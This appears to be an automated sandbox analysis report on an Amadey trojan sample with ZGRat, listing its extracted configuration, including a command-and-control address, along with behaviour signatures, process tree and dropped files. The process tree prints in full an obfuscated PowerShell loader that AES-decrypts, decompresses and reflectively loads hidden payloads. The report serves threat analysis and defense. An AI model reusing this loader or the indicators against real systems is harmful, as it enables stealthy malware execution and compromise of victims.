Analysis

  • max time kernel
    118s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    16/01/2024, 01:24

General

  • Target
    ama.exe
  • Size 5.0MB
  • Sample240116-bsdk4aadek
  • SHA256 22eb695c324270e56f16f129142a77f0ef297eb657eca436c85733aca7eb24d9
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Extracted

Family
  • amadey

Version
  • 4.15

C2
  • http://185.172.128.63

Attributes
  • install_dir

    6187fcb526

  • install_file

    Dctooux.exe

  • strings_key

    cd3b2619c9009c441355ae581d53163e

  • url_paths

    /v8sjh3hs8/index.php

rc4.plain

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

  • Detect ZGRat V1 1 IoCs
  • ZGRat

    ZGRat is remote access trojan written in C#.

  • Loads dropped DLL 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Program crash 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 34 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ama.exe
    "C:\Users\Admin\AppData\Local\Temp\ama.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1416
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1788
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c ""C:\Users\Admin\AppData\Local\Temp\1000843021\DoNothing.cmd" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1584
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1416 -s 708
      2⤵
      • Program crash
      PID:1288
  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1644
  • C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\1000843021\DoNothing.cmd';$RfUL='SplstIeistIetstIe'.Replace('stIe', ''),'TrfmgKafmgKnfmgKsfmgKfofmgKrfmgKmFfmgKinafmgKlBfmgKlofmgKckfmgK'.Replace('fmgK', ''),'DecHsSjomHsSjpHsSjrHsSjessHsSj'.Replace('HsSj', ''),'EleBZnKmBZnKeBZnKntBZnKAtBZnK'.Replace('BZnK', ''),'ReGrwradGrwrLiGrwrnGrwreGrwrsGrwr'.Replace('Grwr', ''),'CIOLbopIOLbyIOLbTIOLboIOLb'.Replace('IOLb', ''),'FrpwLNompwLNBapwLNspwLNepwLN6pwLN4SpwLNtpwLNripwLNnpwLNgpwLN'.Replace('pwLN', ''),'LZaAAoZaAAaZaAAdZaAA'.Replace('ZaAA', ''),'IswsYnswsYvokswsYeswsY'.Replace('swsY', ''),'MayHpwinyHpwMoyHpwduyHpwleyHpw'.Replace('yHpw', ''),'EnfcpnnfcptrynfcpPnfcponfcpinnfcptnfcp'.Replace('nfcp', ''),'GKVjZetCKVjZurKVjZrKVjZenKVjZtPrKVjZocKVjZessKVjZ'.Replace('KVjZ', ''),'CmmRYhanmmRYgmmRYeExmmRYtenmmRYsmmRYimmRYonmmRY'.Replace('mmRY', ''),'CrewBkzatwBkzeDwBkzecwBkzrywBkzptwBkzowBkzrwBkz'.Replace('wBkz', '');powershell -w hidden;function HYZRs($YjbML){$FKFbd=[System.Security.Cryptography.Aes]::Create();$FKFbd.Mode=[System.Security.Cryptography.CipherMode]::CBC;$FKFbd.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$FKFbd.Key=[System.Convert]::($RfUL[6])('2M0fT7QfMAGeiJeE2Y8HU5skhkMH0OcAFA0SFzRHVws=');$FKFbd.IV=[System.Convert]::($RfUL[6])('Wv0CCTjoJ02lflet8TKTGg==');$qvWHS=$FKFbd.($RfUL[13])();$UQnTy=$qvWHS.($RfUL[1])($YjbML,0,$YjbML.Length);$qvWHS.Dispose();$FKFbd.Dispose();$UQnTy;}function tsjtk($YjbML){$KLabx=New-Object System.IO.MemoryStream(,$YjbML);$CeqVN=New-Object System.IO.MemoryStream;$OFOrH=New-Object System.IO.Compression.GZipStream($KLabx,[IO.Compression.CompressionMode]::($RfUL[2]));$OFOrH.($RfUL[5])($CeqVN);$OFOrH.Dispose();$KLabx.Dispose();$CeqVN.Dispose();$CeqVN.ToArray();}$xZSiw=[System.IO.File]::($RfUL[4])([Console]::Title);$VwJSg=tsjtk (HYZRs ([Convert]::($RfUL[6])([System.Linq.Enumerable]::($RfUL[3])($xZSiw, 5).Substring(2))));$NGyKN=tsjtk (HYZRs ([Convert]::($RfUL[6])([System.Linq.Enumerable]::($RfUL[3])($xZSiw, 6).Substring(2))));[System.Reflection.Assembly]::($RfUL[7])([byte[]]$NGyKN).($RfUL[10]).($RfUL[8])($null,$null);[System.Reflection.Assembly]::($RfUL[7])([byte[]]$VwJSg).($RfUL[10]).($RfUL[8])($null,$null); "
    1⤵
      PID:1684
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\1000843021\DoNothing.cmd"
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:320

    Network

          MITRE ATT&CK Matrix

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          DoNothing.cmd

          • Path C:\Users\Admin\AppData\Local\Temp\1000843021\DoNothing.cmd
          • Size 41KB
          • SHA256 86371e117e1baf820cfdb54f01de18a96da41efa2ca636506227ceeccfd6e8e8
          • MD5 SHA1 SHA512 SSDEEP

          DoNothing.cmd

          • Path C:\Users\Admin\AppData\Local\Temp\1000843021\DoNothing.cmd
          • Size 229KB
          • SHA256 9e9a0c51690263b2ff0f61f96a684725df65eb0ef8cf6fdcf400814f7634dfd1
          • MD5 SHA1 SHA512 SSDEEP

          Protect544cd51a.dll

          • Path \Users\Admin\AppData\Local\Temp\Protect544cd51a.dll
          • Size 352KB
          • SHA256 4e038540fc11263961596ec26d5533161c365cf3d518bf750f77da15efd1d3ad
          • MD5 SHA1 SHA512 SSDEEP

          memory/1416-63-0x00000000024C0000-0x0000000002500000-memory.dmp

          memory/1416-67-0x00000000024C0000-0x0000000002500000-memory.dmp

          memory/1416-3-0x00000000024C0000-0x0000000002500000-memory.dmp

          memory/1416-13-0x0000000000630000-0x0000000000640000-memory.dmp

          memory/1416-15-0x00000000024C0000-0x0000000002500000-memory.dmp

          memory/1416-18-0x00000000024C0000-0x0000000002500000-memory.dmp

          memory/1416-19-0x00000000024C0000-0x0000000002500000-memory.dmp

          memory/1416-71-0x00000000024C0000-0x0000000002500000-memory.dmp

          memory/1416-70-0x00000000024C0000-0x0000000002500000-memory.dmp

          memory/1416-68-0x00000000024C0000-0x0000000002500000-memory.dmp

          memory/1416-69-0x0000000006BB0000-0x0000000006CB0000-memory.dmp

          memory/1416-0-0x00000000008B0000-0x0000000000DB8000-memory.dmp

          memory/1416-62-0x00000000024C0000-0x0000000002500000-memory.dmp

          memory/1416-40-0x00000000024C0000-0x0000000002500000-memory.dmp

          memory/1416-12-0x00000000024C0000-0x0000000002500000-memory.dmp

          memory/1416-1-0x0000000074C30000-0x000000007531E000-memory.dmp

          memory/1416-2-0x0000000074C30000-0x000000007531E000-memory.dmp

          memory/1416-11-0x00000000024C0000-0x0000000002500000-memory.dmp

          memory/1416-16-0x00000000024C0000-0x0000000002500000-memory.dmp

          memory/1416-14-0x00000000024C0000-0x0000000002500000-memory.dmp

          memory/1416-4-0x00000000056C0000-0x00000000058E0000-memory.dmp

          memory/1416-10-0x00000000024C0000-0x0000000002500000-memory.dmp

          memory/1416-17-0x0000000006BB0000-0x0000000006CB0000-memory.dmp

          memory/1416-5-0x0000000006A20000-0x0000000006BB2000-memory.dmp

          memory/1416-39-0x00000000024C0000-0x0000000002500000-memory.dmp

          memory/1416-38-0x00000000024C0000-0x0000000002500000-memory.dmp

          memory/1644-66-0x0000000002A70000-0x0000000002AB0000-memory.dmp

          memory/1644-65-0x0000000070DE0000-0x000000007138B000-memory.dmp

          memory/1644-73-0x0000000002A70000-0x0000000002AB0000-memory.dmp

          memory/1644-72-0x0000000070DE0000-0x000000007138B000-memory.dmp

          memory/1644-64-0x0000000070DE0000-0x000000007138B000-memory.dmp

          memory/1788-32-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

          memory/1788-26-0x0000000000400000-0x000000000046D000-memory.dmp

          memory/1788-22-0x0000000000400000-0x000000000046D000-memory.dmp

          memory/1788-28-0x0000000000400000-0x000000000046D000-memory.dmp

          memory/1788-20-0x0000000000400000-0x000000000046D000-memory.dmp

          memory/1788-34-0x0000000000400000-0x000000000046D000-memory.dmp

          memory/1788-36-0x0000000000400000-0x000000000046D000-memory.dmp

          memory/1788-37-0x0000000000400000-0x000000000046D000-memory.dmp

          memory/1788-30-0x0000000000400000-0x000000000046D000-memory.dmp

          memory/1788-24-0x0000000000400000-0x000000000046D000-memory.dmp

          memory/1788-58-0x0000000000400000-0x000000000046D000-memory.dmp

          memory/1788-50-0x0000000000400000-0x000000000046D000-memory.dmp